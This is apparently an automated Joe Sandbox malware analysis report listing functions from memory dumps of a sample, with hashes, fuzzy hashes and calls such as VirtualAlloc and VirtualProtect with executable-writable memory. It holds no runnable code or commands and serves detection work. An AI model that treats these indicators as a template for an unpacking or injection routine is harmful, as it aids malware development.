Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ad5348629e56da73c128a1b4bca9fd8fd05985c758aa73c9d6435a515f042a0c
Instruction ID: 7d855956d50402d9f7916bc5ef18b9a3e1da058d8c8a39eecb436c4325a4adc2
Opcode Fuzzy Hash: ad5348629e56da73c128a1b4bca9fd8fd05985c758aa73c9d6435a515f042a0c
Instruction Fuzzy Hash: 1C31A3F2E042146BF7248A14DC44FFB7339EBC4310F1481F9E90E96A44E7399AC58A21

Function 02922C40 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4e017ff6e3a2b054763130df4fb823248cc0ef604f3877ffaf01eef7a8ce4da3
Instruction ID: 8e1fa6cd1a69b0ac3206bfda3fe232b6737464126d36bcc8fc8c75a05b921802
Opcode Fuzzy Hash: 4e017ff6e3a2b054763130df4fb823248cc0ef604f3877ffaf01eef7a8ce4da3
Instruction Fuzzy Hash: 9D31E1B1C041659FE724DB64DC44BEBBBB8EF80310F0085FAE84D66284D6399AC9CF91

Function 0296276C Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ff4982cbfff9e01290382924ecbba172b4cfb6dd4ef23e964a4e6b4c63e1fc18
Instruction ID: cc6ae383c0818ce0cddc3ae8adaafe92286ea71800c929d31a4a6b5855c2a3d6
Opcode Fuzzy Hash: ff4982cbfff9e01290382924ecbba172b4cfb6dd4ef23e964a4e6b4c63e1fc18
Instruction Fuzzy Hash: 5C3127B2D042695BE7108774CC58BEBBFF6AFC1300F0981F9C48C26580D6395ED28A95

Function 0041E59F Relevance: 1.6, APIs: 1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe5cf0710a085e0274d02e127f9eeaa699544e474fe57884f3e857fe0b7a646
Instruction ID: 5f954aa0c4ddb898eab6439c2c9a233a6bdfdec6ef6a1b70e69242cf1a2bee87
Opcode Fuzzy Hash: 5fe5cf0710a085e0274d02e127f9eeaa699544e474fe57884f3e857fe0b7a646
Instruction Fuzzy Hash: 0B41E6749049698BDB25CB95DC94AEEBB71BF89306F5840EAD81D9A200D6389EC1CF11

Function 00405248 Relevance: 1.6, APIs: 1, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8919e7fa10de618230a943befc8a3a8e16a67e2c86fecaaad87ba55b4280a643
Instruction ID: 7f99f38c547632866d87ea786536627641fa5b86f1716259412bee2abf857c06
Opcode Fuzzy Hash: 8919e7fa10de618230a943befc8a3a8e16a67e2c86fecaaad87ba55b4280a643
Instruction Fuzzy Hash: 7D31ABB1E146189FE7508A14EC95EFB77B8EB44310F1042BBE90EA2680D67D6EC18E57

Function 02942AB6 Relevance: 1.6, APIs: 1, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 239dfeb65a5b546ffbea2571bb1e52a933c89467b824402d88d5f2c71cb356b7
Instruction ID: bcd1cdb03aeede774a1120e124171fb2566ab0a8a20e8d282e2a258484877c25
Opcode Fuzzy Hash: 239dfeb65a5b546ffbea2571bb1e52a933c89467b824402d88d5f2c71cb356b7
Instruction Fuzzy Hash: BF31B4B2D14258ABEB208F24CC44FFAB379EB84300F1085E5E90D96640DB399EC58E61

Function 00405668 Relevance: 1.6, APIs: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d1bc0c3c3d54e404124d062b91a25bd3cf0f2015179254b54a74b803e05d3b14
Instruction ID: faaac7964df34931971cfb33f1a669da848cd40cdbaab09df57bd9d8283eac76
Opcode Fuzzy Hash: d1bc0c3c3d54e404124d062b91a25bd3cf0f2015179254b54a74b803e05d3b14
Instruction Fuzzy Hash: 9F318DB1E146289FE7508A14DC91EFB77B8EB44310F1442FAE90EA2680D67D6FC08E56

Function 0040569A Relevance: 1.6, APIs: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 67a6c5c1d7ac4f1489e7fa154d66fdbd68411b54d95c3e0eb7af296dfab4e2a4
Instruction ID: d02bd3fec12ece5aef00ec91af9c2085a20bbe6b027b67bbdaf8bc1d4bf1a8bb
Opcode Fuzzy Hash: 67a6c5c1d7ac4f1489e7fa154d66fdbd68411b54d95c3e0eb7af296dfab4e2a4
Instruction Fuzzy Hash: 54318DB1E146289FE7548A14DC91EFB77B8EB44310F1442FAE90EA2680D67D6FC08E56

Function 004056BF Relevance: 1.6, APIs: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 53551eaea6eff7480147f545dffd5159921a097fa63289ea9ac2efc7cbb58808
Instruction ID: 1825f9431c9993e98292f7310788765b9a676f82f7c13db0ac91bc4126d8abad
Opcode Fuzzy Hash: 53551eaea6eff7480147f545dffd5159921a097fa63289ea9ac2efc7cbb58808
Instruction Fuzzy Hash: 84318DB1E146289FE7548A14DC91EFB77B8EB44310F1442FAE90EA2680D67D6FC08E56

Function 0292863F Relevance: 1.6, APIs: 1, Instructions: 333memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4a87f2a009c4f392ff1578dfbf601089019f9664b7fb2fca7d2dae7c93fd07eb
Instruction ID: 3c2afa716c1086d721a4355e6d84769ae053ce35f8ef75f140b1a70a15aedccf
Opcode Fuzzy Hash: 4a87f2a009c4f392ff1578dfbf601089019f9664b7fb2fca7d2dae7c93fd07eb
Instruction Fuzzy Hash: 35E186B4E046688FEB24CA14DC94BAAB776FF84305F1082EAD40DA7688D7795EC58F11

Function 02962FAF Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ec02e1e4feb3c80c6adfa727321f3eb195846c654eb09cb7909f54025a695d6c
Instruction ID: 421c2a25837bd37ef9df8c1345bb63eb8b0e5862cd5f5f50bbcc71bd2557862c
Opcode Fuzzy Hash: ec02e1e4feb3c80c6adfa727321f3eb195846c654eb09cb7909f54025a695d6c
Instruction Fuzzy Hash: FB31B8B1D042699BEB208B64CC94BEABBF5AF85700F0542F9D84D67281C7355EC2CF95

Function 02942EAD Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a80a29e17d8f813c7b70764603bca8c33264147c749a89b63a7a28b7058a01bf
Instruction ID: 97660a0306e1d6010161f1862e80d69e130d2565902a29eab282f60f5a37cb49
Opcode Fuzzy Hash: a80a29e17d8f813c7b70764603bca8c33264147c749a89b63a7a28b7058a01bf
Instruction Fuzzy Hash: 863180B1D442699FEB218B24CC90BEAB775EB85310F2085E5E90DA6640DB399FC58F21

Function 02942EBE Relevance: 1.6, APIs: 1, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5d0fd1ae91ea226b14b0b5c44215ec42e19fedf3cd54d459f6eacee1592bd391
Instruction ID: 5bbbc23cdc4ded25b02a0f5c4d2868dde1b425b9a1500e909335b7e871e4a6ee
Opcode Fuzzy Hash: 5d0fd1ae91ea226b14b0b5c44215ec42e19fedf3cd54d459f6eacee1592bd391
Instruction Fuzzy Hash: 573185B1D442699FEB25CB24CC80FEAB775EB85310F2081E9E90D56644DB389FC58F15

Function 029632BA Relevance: 1.6, APIs: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2d21c0b34c9788491b81b528c25ee2ce64cacf79862f98fb81aeef3d19952839
Instruction ID: 7baad91ec9539075846e9e71117682ba3d529e0fa0e9ad7532972fca841d56c6
Opcode Fuzzy Hash: 2d21c0b34c9788491b81b528c25ee2ce64cacf79862f98fb81aeef3d19952839
Instruction Fuzzy Hash: 202107B2D042695BEB108B74CD94AEABFF5AF85700F0541F9D48D67281DA345EC18F85

Function 02963007 Relevance: 1.6, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3b0059f80076b27c0c70d3cc995375909e97c04dc89d395549a24924357da82b
Instruction ID: 6994518bfd366080624fc583ad6bd404c4a6a0bef2d35b02ba2e337d90b03b02
Opcode Fuzzy Hash: 3b0059f80076b27c0c70d3cc995375909e97c04dc89d395549a24924357da82b
Instruction Fuzzy Hash: C721F7B2D042699BEB208B64CC94AEABBF6AF85700F0541F5D48D63180DA355EC28F95

Function 02963039 Relevance: 1.6, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5d6d9fd0495b1833a69c2f846602121d8ae422c577135a5fa8b79c07e6a9623f
Instruction ID: 05cca28db6b234cc533e1ee3550825bd21fa8312eed3d9731ad17eaccc4c4a31
Opcode Fuzzy Hash: 5d6d9fd0495b1833a69c2f846602121d8ae422c577135a5fa8b79c07e6a9623f
Instruction Fuzzy Hash: 052108B2D042699BEB20CB64CC94AEABFF6AFC5700F0581F5D48D63180DA355EC28F95

Function 0296305E Relevance: 1.6, APIs: 1, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e604e82e8c333efc5e61c31fa6232922af0d462dba9eaa3c901ddbf306ee3e43
Instruction ID: e7a9fb9abfd5657dca2c06e77fbb672b3ff5945eb1fbd0d1e0fa911dc1f20ebd
Opcode Fuzzy Hash: e604e82e8c333efc5e61c31fa6232922af0d462dba9eaa3c901ddbf306ee3e43
Instruction Fuzzy Hash: 6E21F9B2D042695BEB108B64CC94AEABBF6AFC5700F0541F9D48D63180DA355EC18F95

Function 029431A1 Relevance: 1.6, APIs: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 60b1fca8b6581e84d73fed5606978d4526972337b1b519dfa549f04aa852fb8b
Instruction ID: d68b0b64a1198a9be949a69f9e7e0b4342f7cd94a63d5bf33eeb9390d66992df
Opcode Fuzzy Hash: 60b1fca8b6581e84d73fed5606978d4526972337b1b519dfa549f04aa852fb8b
Instruction Fuzzy Hash: D92183B2D05259AFEB21CA24CC40FEEB735EB84300F20C1E5E90D96644DB389EC58F15

Function 02942B0D Relevance: 1.6, APIs: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a3de049d54785bd6be312539eee85e734a079ea5e3e89847f026922676f771a5
Instruction ID: e09e274c13f18c5b66e1f1166a249385b6eeb30cd504290efd2124e05ff6e085
Opcode Fuzzy Hash: a3de049d54785bd6be312539eee85e734a079ea5e3e89847f026922676f771a5
Instruction Fuzzy Hash: D22193B2A04259ABEB21CA24CC44FFEB775EBC4300F24C1E5E90D96A44D779AEC58F15

Function 02942F19 Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b8bb818cb25102c446a40a34b7d405ebbb6f7adad3b2c498efde0bfb19d21046
Instruction ID: f7ce969fc1da27a852ef5f6a24c7df84919748704ccbd3cc72841e40331ee1bf
Opcode Fuzzy Hash: b8bb818cb25102c446a40a34b7d405ebbb6f7adad3b2c498efde0bfb19d21046
Instruction Fuzzy Hash: 7A2184B1D44269AFEB20CA24CC80FEEB775EB84300F20C5E5E90DA6644D7389EC58F25

Function 02942F4B Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 99e5c2f204b4e2e2ca4b7b839bbf908759d64a5760e4c36f304bd68dd63153fd
Instruction ID: c13e552566eb71352ea5c9f0297007b755f6de2fca1c905aece1fe5f8f9b4243
Opcode Fuzzy Hash: 99e5c2f204b4e2e2ca4b7b839bbf908759d64a5760e4c36f304bd68dd63153fd
Instruction Fuzzy Hash: 032162B1D44269ABEB20CA24CC80FEEB775EB84300F20C1E5E90D66644D7389EC58F15

Function 02942F70 Relevance: 1.6, APIs: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1b7654e9ba8801b3273b4d415fa62292fd0be11e22c88c1545836acc0748d3ca
Instruction ID: 8d50b40175cd5d55bbf2bdc2c1f1af36d77f3cee4be9c570d54b6cce8544da35
Opcode Fuzzy Hash: 1b7654e9ba8801b3273b4d415fa62292fd0be11e22c88c1545836acc0748d3ca
Instruction Fuzzy Hash: 8C2184B1D44269AFEB20CA24CC80FEEB775EB84300F20C1E5E90D66644DB389EC58F15

Function 02923007 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fdf94020f97f6d62972922ffa48bcac57a446b4d85dbfcfa11612f614eb66614
Instruction ID: 5df7359fe7e98f5f655b82226194c25b7a0112d7e5c5df594decb01885cba1aa
Opcode Fuzzy Hash: fdf94020f97f6d62972922ffa48bcac57a446b4d85dbfcfa11612f614eb66614
Instruction Fuzzy Hash: 9B11BFB1C05276AFD724DB54CC40ADABBB8AF01300F0185FAE84CAB181D6399A84CF91

Function 031FC670 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 031FC693

Memory Dump Source

Source File: 00000000.00000002.2729788978.00000000031A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031A0000, based on PE: true

Associated: 00000000.00000002.2729788978.00000000038CA000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2729788978.00000000038CE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2729788978.00000000038EA000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2729788978.00000000038F3000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31a0000_m0Yc9KltGw.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 85b07341f977adfd1331a972d0bd069f00081ffb41b5367fe339be9e9d3b190f
Instruction ID: 933be8071f0d6d3a30d3a4238a8b18ece7488d0241ab979ff6528888495a31a8
Opcode Fuzzy Hash: 85b07341f977adfd1331a972d0bd069f00081ffb41b5367fe339be9e9d3b190f
Instruction Fuzzy Hash: 82E09275505B40CFCB15DF28C2C5606BBF0EB88A00F0485A8DE098F70AE774EE10DAD2

Function 0296A695 Relevance: 1.5, APIs: 1, Instructions: 250memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1636317e09ed9bf6e723c1ba0692f9dea90b71a868ce5630038a96af926d361b
Instruction ID: 0f576ecb9445df7f96b6c1c6580efdc3b234a1bac4366be6c2bb6c7911e1ff18
Opcode Fuzzy Hash: 1636317e09ed9bf6e723c1ba0692f9dea90b71a868ce5630038a96af926d361b
Instruction Fuzzy Hash: 07B179B0E005688FDB24CB18CD98BFAB7B9EF85305F1485EAD849A7240D7756EC1CE81

Function 029288CD Relevance: 1.4, APIs: 1, Instructions: 187memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b10c66b9bc5f3e90f82088c972bcfc3a901e9b666b2aec7145243faed51f36a5
Instruction ID: e456b076085f1f6fbe6d166bc3bce68bf6723dadd5d40b8e52f693024f9409ec
Opcode Fuzzy Hash: b10c66b9bc5f3e90f82088c972bcfc3a901e9b666b2aec7145243faed51f36a5
Instruction Fuzzy Hash: A261E3A1E542689BFB24CA14DC80BBE7779FF84310F1081FAD50DA7684D6795EC58F22

Function 0296AEDA Relevance: 1.4, APIs: 1, Instructions: 182memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9dcb5016c63e2333bff5ee4861b1f6aedf1fba27d38d14520fd16675bfbbcc41
Instruction ID: 44073d36bdf26dc8d29d64db8f9ec475ccbc7722272128f4234a912b6dd105e0
Opcode Fuzzy Hash: 9dcb5016c63e2333bff5ee4861b1f6aedf1fba27d38d14520fd16675bfbbcc41
Instruction Fuzzy Hash: BD812770E056A89FDB64CF04CCA4BAABBB5BF45315F1485EAD40DA6241D7316EC1CF41

Function 029288E6 Relevance: 1.4, APIs: 1, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0b617e0f6ef83fe5512f8795f3340a5b6ec224eae1060b8db9869d3801b95664
Instruction ID: c331eafd86cf1119e68b3727298ae9c7e2ee1603f174bbc3c6510acf6baae78a
Opcode Fuzzy Hash: 0b617e0f6ef83fe5512f8795f3340a5b6ec224eae1060b8db9869d3801b95664
Instruction Fuzzy Hash: 9461E4A1E542A89BFB24CB10DC80BAE7779FF94310F1081FAD50DA7684D6795EC58F12

Function 02927E5F Relevance: 1.4, APIs: 1, Instructions: 168memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ac7ca0732e2be073d3d326576cecf9c9f1eeef36eaae446d3727abd5e343bb22
Instruction ID: f27d7803b983221a1bd1d49072bf9f53d26a5bd42d517c575e2c23ff82400d63
Opcode Fuzzy Hash: ac7ca0732e2be073d3d326576cecf9c9f1eeef36eaae446d3727abd5e343bb22
Instruction Fuzzy Hash: E151F5E1E542689BF724CB10EC80BAA7279FF94310F0091FAD50DAB684D67D5EC58F22

Function 0292865C Relevance: 1.4, APIs: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e5393672f01a627fe12574738cbc91bb6550cb356b5f867dcab9fae0254c438e
Instruction ID: e4671e40b75bf02cfa6530d845f2585f325aaac9c5c9498c4f21b09fcc144c13
Opcode Fuzzy Hash: e5393672f01a627fe12574738cbc91bb6550cb356b5f867dcab9fae0254c438e
Instruction Fuzzy Hash: DF61B1A5D542A89BFB24CB10DC40BAAB779FF94310F0081FAD50DA7684D6795EC58F12

Function 02928289 Relevance: 1.4, APIs: 1, Instructions: 161memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 86244814b98a3eade797157fc034be4315a78ae56939ac3653b6c79c8390cd6f
Instruction ID: f9910973ffe1bcf4b9c0f4cfc53ad11ebd511358f09dc5cef4fab12108ca2198
Opcode Fuzzy Hash: 86244814b98a3eade797157fc034be4315a78ae56939ac3653b6c79c8390cd6f
Instruction Fuzzy Hash: 5A51D4A1E542A89BF720CB10DC80BAE7379FF94710F0091FAD50DAB684D6795EC58F22

